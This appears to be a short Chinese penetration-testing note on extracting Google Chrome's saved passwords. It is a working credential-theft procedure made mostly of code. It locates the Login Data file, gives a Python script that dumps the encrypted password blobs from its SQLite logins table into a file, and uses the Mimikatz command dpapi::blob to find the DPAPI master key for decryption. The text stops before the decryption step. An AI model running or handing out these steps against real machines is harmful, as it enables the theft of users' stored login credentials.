谷歌浏览器保存密码的读取

前言：谷歌浏览器保存密码的读取笔记

参考文章：https://www.t00ls.net/viewthread.php?tid=52330&highlight=chrome
参考文章：https://3gstudent.github.io/3gstudent.github.io/渗透技巧-利用Masterkey离线导出Chrome浏览器中保存的密码/

通过Mimikatz读取谷歌浏览器保存密码

1、查看是否存在密文，使用python读取数据库文件并提取出密文

dir /a %LocalAppData%\Google\Chrome\User Data\Default\Login Data

使用python脚本读取Login Data并保存到文件中，代码如下：

from os import getenv
import sqlite3
import binascii
conn = sqlite3.connect("Login Data")
cursor = conn.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for result in cursor.fetchall():
    print (binascii.b2a_hex(result[2]))
    f = open('test.txt', 'wb')
    f.write(result[2])
    f.close()

脚本执行后，提取Login Data中保存的密文，保存为test.txt

2、获得该密文对应的Master Key File

dpapi::blob /in:test.txt

获得对应guidMasterkey为{a111b0f6-b4d7-40c8-b536-672a8288b958}